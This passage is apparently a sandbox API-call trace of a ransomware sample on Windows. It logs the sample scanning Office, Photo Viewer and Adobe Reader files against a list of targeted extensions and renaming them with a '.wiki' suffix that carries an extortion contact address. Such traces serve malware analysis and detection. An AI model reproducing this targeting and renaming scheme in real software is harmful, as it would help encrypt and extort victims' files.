lstrlenW (lpString=".xlsx") returned 5 [0158.964] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1 [0158.964] lstrlenW (lpString=".ppt") returned 4 [0158.964] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0158.964] lstrlenW (lpString=".zip") returned 4 [0158.964] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.964] lstrlenW (lpString=".rar") returned 4 [0158.964] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.964] lstrlenW (lpString=".bz2") returned 4 [0158.964] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.964] lstrlenW (lpString=".7z") returned 3 [0158.964] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0158.964] lstrlenW (lpString=".dbf") returned 4 [0158.964] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0158.964] lstrlenW (lpString=".1cd") returned 4 [0158.964] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0158.964] lstrlenW (lpString=".jpg") returned 4 [0158.964] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.964] lstrcmpiW (lpString1=".MID", lpString2=".wiki") returned -1 [0158.964] lstrlenW (lpString="PARNT_09.MID") returned 12 [0158.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0158.967] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=6764) returned 1 [0158.967] CloseHandle (hObject=0x160) returned 1 [0158.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid")) returned 0x20 [0158.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0158.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0158.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0158.968] lstrlenW (lpString=".doc") returned 4 [0158.968] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.968] lstrlenW (lpString=".docx") returned 5 [0158.968] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1 [0158.968] lstrlenW (lpString=".pdf") returned 4 [0158.968] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.968] lstrlenW (lpString=".xls") returned 4 [0158.968] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.968] lstrlenW (lpString=".xlsx") returned 5 [0158.968] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1 [0158.968] lstrlenW (lpString=".ppt") returned 4 [0158.968] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0158.968] lstrlenW (lpString=".zip") returned 4 [0158.968] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.968] lstrlenW (lpString=".rar") returned 4 [0158.968] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.968] lstrlenW (lpString=".bz2") returned 4 [0158.968] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.968] lstrlenW (lpString=".7z") returned 3 [0158.968] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0158.969] lstrlenW (lpString=".dbf") returned 4 [0158.969] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0158.969] lstrlenW (lpString=".1cd") returned 4 [0158.969] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0158.969] lstrlenW (lpString=".jpg") returned 4 [0158.969] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0158.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0158.970] lstrlenW (lpString=".doc") returned 4 [0158.970] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.970] lstrlenW (lpString=".docx") returned 5 [0158.970] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1 [0158.970] lstrlenW (lpString=".pdf") returned 4 [0158.970] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.970] lstrlenW (lpString=".xls") returned 4 [0158.970] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.970] lstrlenW (lpString=".xlsx") returned 5 [0158.970] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1 [0158.970] lstrlenW (lpString=".ppt") returned 4 [0158.970] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0158.970] lstrlenW (lpString=".zip") returned 4 [0158.970] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.970] lstrlenW (lpString=".rar") returned 4 [0158.970] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.970] lstrlenW (lpString=".bz2") returned 4 [0158.970] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.970] lstrlenW (lpString=".7z") returned 3 [0158.970] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0158.970] lstrlenW (lpString=".dbf") returned 4 [0158.970] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0158.970] lstrlenW (lpString=".1cd") returned 4 [0158.970] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0158.970] lstrlenW (lpString=".jpg") returned 4 [0158.970] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.971] lstrcmpiW (lpString1=".MID", lpString2=".wiki") returned -1 [0158.971] lstrlenW (lpString="PARNT_10.MID") returned 12 [0158.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0158.971] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=5393) returned 1 [0158.971] CloseHandle (hObject=0x160) returned 1 [0158.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid")) returned 0x20 [0158.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0158.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0158.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0158.971] lstrlenW (lpString=".doc") returned 4 [0158.971] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.971] lstrlenW (lpString=".docx") returned 5 [0158.972] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1 [0158.972] lstrlenW (lpString=".pdf") returned 4 [0158.972] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.972] lstrlenW (lpString=".xls") returned 4 [0158.972] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.972] lstrlenW (lpString=".xlsx") returned 5 [0158.972] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1 [0158.972] lstrlenW (lpString=".ppt") returned 4 [0158.972] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0158.972] lstrlenW (lpString=".zip") returned 4 [0158.972] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.972] lstrlenW (lpString=".rar") returned 4 [0158.972] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.972] lstrlenW (lpString=".bz2") returned 4 [0158.972] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.972] lstrlenW (lpString=".7z") returned 3 [0158.972] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0158.972] lstrlenW (lpString=".dbf") returned 4 [0158.972] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0158.972] lstrlenW (lpString=".1cd") returned 4 [0158.972] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0158.972] lstrlenW (lpString=".jpg") returned 4 [0158.972] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0158.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0158.972] lstrlenW (lpString=".doc") returned 4 [0158.972] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.972] lstrlenW (lpString=".docx") returned 5 [0158.973] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1 [0158.973] lstrlenW (lpString=".pdf") returned 4 [0158.973] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.973] lstrlenW (lpString=".xls") returned 4 [0158.973] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.973] lstrlenW (lpString=".xlsx") returned 5 [0158.973] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1 [0158.973] lstrlenW (lpString=".ppt") returned 4 [0158.973] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0158.973] lstrlenW (lpString=".zip") returned 4 [0158.973] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.973] lstrlenW (lpString=".rar") returned 4 [0158.973] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.973] lstrlenW (lpString=".bz2") returned 4 [0158.973] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.973] lstrlenW (lpString=".7z") returned 3 [0158.973] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0158.973] lstrlenW (lpString=".dbf") returned 4 [0158.973] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0158.973] lstrlenW (lpString=".1cd") returned 4 [0158.973] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0158.973] lstrlenW (lpString=".jpg") returned 4 [0158.973] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.973] lstrcmpiW (lpString1=".MID", lpString2=".wiki") returned -1 [0158.974] lstrlenW (lpString="ROAD_01.MID") returned 11 [0158.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0158.974] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=5983) returned 1 [0158.974] CloseHandle (hObject=0x160) returned 1 [0158.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid")) returned 0x20 [0158.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0158.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0158.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0158.974] lstrlenW (lpString=".doc") returned 4 [0158.974] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.974] lstrlenW (lpString=".docx") returned 5 [0158.974] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0158.974] lstrlenW (lpString=".pdf") returned 4 [0158.974] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.974] lstrlenW (lpString=".xls") returned 4 [0158.974] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.974] lstrlenW (lpString=".xlsx") returned 5 [0158.975] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0158.975] lstrlenW (lpString=".ppt") returned 4 [0158.975] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0158.975] lstrlenW (lpString=".zip") returned 4 [0158.975] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.975] lstrlenW (lpString=".rar") returned 4 [0158.975] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.975] lstrlenW (lpString=".bz2") returned 4 [0158.975] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.975] lstrlenW (lpString=".7z") returned 3 [0158.975] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0158.975] lstrlenW (lpString=".dbf") returned 4 [0158.975] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0159.111] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0159.366] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0159.367] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0159.377] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0159.377] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveintlresource.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveintlresource.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0159.385] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipdsintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipdsintl.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0159.391] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev.hxs.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0159.393] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.hxs.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0159.396] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev.hxs.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.333] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZFORM.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bizform.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZFORM.DPV.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bizform.dpv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.334] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BRCHUR98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\brchur98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BRCHUR98.POC.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\brchur98.poc.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.337] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALNDR98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calndr98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALNDR98.POC.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calndr98.poc.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0162.376] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Photo Viewer\\ImagingEngine.dll" (normalized: "c:\\program files\\windows photo viewer\\imagingengine.dll"), lpNewFileName="C:\\Program Files\\Windows Photo Viewer\\ImagingEngine.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\windows photo viewer\\imagingengine.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0162.377] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Photo Viewer\\PhotoViewer.dll" (normalized: "c:\\program files\\windows photo viewer\\photoviewer.dll"), lpNewFileName="C:\\Program Files\\Windows Photo Viewer\\PhotoViewer.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\windows photo viewer\\photoviewer.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0164.530] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\PPKLite.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\ppklite.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\PPKLite.api.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\ppklite.api.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0164.534] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prcr.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\prcr.x3d"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prcr.x3d.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\prcr.x3d.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0164.535] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\rt3d.dll" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\rt3d.dll"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\rt3d.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\rt3d.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0164.538] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeFanHeitiStd-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobefanheitistd-bold.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeFanHeitiStd-Bold.otf.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobefanheitistd-bold.otf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0164.538] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeGothicStd-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobegothicstd-bold.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeGothicStd-Bold.otf.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobegothicstd-bold.otf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0164.538] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeHeitiStd-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobeheitistd-regular.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeHeitiStd-Regular.otf.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobeheitistd-regular.otf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0164.539] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeMingStd-Light.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobemingstd-light.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeMingStd-Light.otf.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobemingstd-light.otf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0164.539] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 